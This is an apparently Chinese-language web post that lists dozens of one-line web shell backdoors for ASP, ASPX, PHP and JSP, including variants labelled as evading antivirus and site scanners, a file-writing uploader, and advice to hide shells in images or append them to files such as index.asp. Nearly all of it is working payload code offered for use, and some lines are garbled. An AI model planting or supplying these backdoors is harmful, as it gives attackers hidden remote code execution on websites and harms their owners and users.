在互联网发达的今天，各种水平的程序用应时而生，不注重安全，导致很多网站都被挂马，这样的一句话后门是黑客最喜欢的，隐藏性好，这里将代码分享给大家，大家可以通过查找工具查找替换
<%eval request("c")%>
<%execute request("c")%>
<%execute(request("c"))%>
<%ExecuteGlobal request("sb")%>
%><%Eval(Request(chr(35)))%><%
<%if request ("c")<>""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%>
<%eval(Request.Item["c"],"unsafe");%>
‘备份专用
<%eval(request("c")):response.end%>
‘无防下载表,有防下载表突破专用一句话
<%execute request("c")%><%<%loop<%:%>
<%<%loop<%:%><%execute request("c")%>
<%execute request("c")<%loop<%:%>
‘防杀防扫专用
<%if Request("c")<>"" ThenExecuteGlobal(Request("c"))%>
‘不用"<,>"
<script language=VBScript runat=server>execute request("c")</script>
<% @Language="JavaScript" CodePage="65001"var lcx={‘名字‘:Request.form(‘#‘),‘性别‘:eval,‘年龄‘:‘18‘,‘昵称‘:‘请叫我一声老大‘};lcx.性别((lcx.
名字)+‘‘) %>
<script language=vbs runat=server>eval(request("c"))</script>
<script language=vbs runat=server>eval_r(request("c"))</script>
‘不用双引号
<%eval request(chr(35))%>
‘可以躲过雷客图
<%set
ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript" ms.AddObject"response",response ms.AddObject
"request",request ms.ExecuteStatement("ev"&"al(request(""c""))")%>
<%dy=request("dy")%><%Eval(dy)%>
‘容错代码
if Request("sb")<>"" then ExecuteGlobal request("sb") end if
PHP一句话
复制代码 代码如下:
<?php eval($_POST1);?>
<?php if(isset($_POST[‘c‘])){eval($_POST[‘c‘]);}?>
<?php system($_REQUEST1);?>
<?php ([email protected]$_GET1)[email protected]$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST[‘c‘]($_POST[‘cc‘]);?>
<?$_POST[‘c‘]($_POST[‘cc‘],$_POST[‘cc‘])?>
<?php
@preg_replace("/[email]/e",$_POST[‘h‘],"error");?>/*使用这个后,使用菜刀一句话客户端在
配置连接的时候在"配置"一栏输入*/:<O>[email protected]_r($_POST1);</O>
<?php echo `$_GET[‘r‘]` ?>
//绕过<?限制的一句话
<script language="php">@eval_r($_POST[sb])</script>
JSP一句话
复制代码 代码如下:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream
(application.getRealPath("\\")+request.getParameter("f"))).write
(request.getParameter("t").getBytes());%>
提交客户端
<form
action=""
method="post"><textareaname="t"></textarea><br/><input
type="submit"value="提交"></form>
ASPX一句话
<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>
再补充几个：
推荐还是把一句话加进图片里面去。
普通的php一句话：<?php @eval($_POST[‘r00ts‘]);?>
普通的asp一句话：<%eval(Request.Item["r00ts"],”unsafe”);%>
aspx突破一流的：
[code]
dim da
set fso=server.createobject("scripting.filesystemobject")
path=request("path")
if path<>"" then
data=request("da")
set da=fso.createtextfile(path,true)
da.write data
if err=0 then
Response.Write "yes"
else
Response.Write "no"
end if
err.clear
end if
set da=nothing
set fos=nothing
Response.Write "<form action=" method=post>"
Response.Write "<input type=text name=path>"
Response.Write "<br>"
Response.Write "当前文件路径:"&server.mappath(request.servervariables("script_name"))
Response.Write "<br>"
Response.Write "操作系统为:"&Request.ServerVariables("OS")
Response.Write "<br>"
Response.Write "WEB服务器版本为:"&Request.ServerVariables("SERVER_SOFTWARE")
Response.Write "<br>"
Response.Write "<textarea name=da cols=50 rows=10 width=30></textarea>"
Response.Write "<br>"
Response.Write "<input type=submit value=save>"
Response.Write "</form>"
</Script>
ASP一句话:<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>
PHP防杀放扫 一句话：<?php (])?>
上面这句是防杀防扫的！网上很少人用！可以插在网页任何ASP文件的最底部不会出错，比如
index.asp里面也是可以的！
因为加了判断！加了判断的PHP一句话，与上面的ASP一句话相同道理，也是可以插在任何PHP文件
的最底部不会出错！<?if(isset($_POST[‘1‘])){eval($_POST[‘1‘]);}?><?php system
($_REQUEST[1]);?>
无防下载表，有防下载表可尝试插入以下语句突破的一句话
<%execute request(“class”)%><%‘<% loop <%:%><%‘<% loop <%:%><%execute request
(“class”)%><%execute request(“class”)‘<% loop <%:%>
备份专用<%eval(request(“1″)):response.end%>
asp一句话<%execute(request(“1″))%>
aspx一句话:<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y
(“add6bb58e139be10″);</script>
可以躲过雷客图的一句话。
<%set ms = server.CreateObject(“MSScriptControl.ScriptControl.1″)
ms.Language=”VBScript”ms.AddObject”Response”,Responsems.AddObject”request”,
requestms.ExecuteStatement(“ev”&”al(request(“”1″”))”)%>
不用‘<,>‘的asp一句话<scriptrunat=server>execute request(“1″)</script>
不用双引号的一句话。<%eval request(chr(35))%>
